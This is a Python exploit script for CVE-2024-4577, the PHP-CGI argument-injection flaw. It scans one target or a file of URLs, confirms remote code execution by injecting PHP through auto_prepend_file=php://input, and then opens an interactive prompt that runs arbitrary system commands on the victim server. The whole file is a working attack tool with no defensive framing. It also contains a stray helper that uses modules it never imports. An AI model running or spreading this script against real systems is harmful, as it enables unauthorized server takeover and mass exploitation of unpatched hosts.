import requests
import urllib3
import re
from urllib.parse import urljoin,quote
import argparse
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def read_file(file_path):
    with open(file_path, 'r') as file:
        urls = file.read().splitlines()
    return urls

def generate_random_string(length):
    characters = string.ascii_letters + string.digits
    random_string = ''.join(random.choice(characters) for _ in range(length))
    return random_string

def check(url):
    url = url.rstrip("/")
    target_url = urljoin(url, "/php-cgi/php-cgi.exe?%add+allow_url_include%3d1+%add+auto_prepend_file%3dphp://input")
    headers = {
        "User-Agent": "Mozilla/5.0 (X11; CrOS i686 3912.101.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36",
        "Content-Type": "application/x-www-form-urlencoded",
        "REDIRECT-STATUS":"1"
    }
    data = """<?php echo md5(123456);?>"""
    try:
        response = requests.post(target_url, verify=False, headers=headers, data=data, timeout=15)
        if response.status_code == 200 and 'e10adc3949ba59abbe56e057f20f883e' in response.text:
                print(f"\033[31mDiscovered:{url}: PHP-CGI_CVE-2024-4577_RCE!\033[0m")
                return True
    except Exception as e:
        pass

def run(url):
    url = url.rstrip("/")
    target_url = urljoin(url, "/php-cgi/php-cgi.exe?%add+allow_url_include%3d1+%add+auto_prepend_file%3dphp://input")
    headers = {
        "User-Agent": "Mozilla/5.0 (X11; CrOS i686 3912.101.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36",
        "Content-Type": "application/x-www-form-urlencoded",
        "REDIRECT-STATUS":"1"
    }
    if check(url):
        while True:
            command = input("\033[34mPlease input command (stop input:exit):\033[0m")
            if "exit" not in command:
                command = quote(command)
                data = """<?php system("{}&echo 1klmns");?>""".format(command)
                try:
                    response = requests.post(target_url, verify=False, headers=headers, data=data, timeout=15)
                    if response.status_code == 200:
                        parts = response.text.split("1klmns")

                        if len(parts) > 0:
                            extracted_content = parts[0].strip()
                            print(extracted_content)
                except Exception as e:
                    pass
            else:
                break

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("-u", "--url", help="URL")
    parser.add_argument("-f", "--txt", help="file")
    args = parser.parse_args()
    url = args.url
    txt = args.txt
    if url:
        run(url)
    elif txt:
        urls = read_file(txt)
        for url in urls:
            check(url)
    else:
        print("help")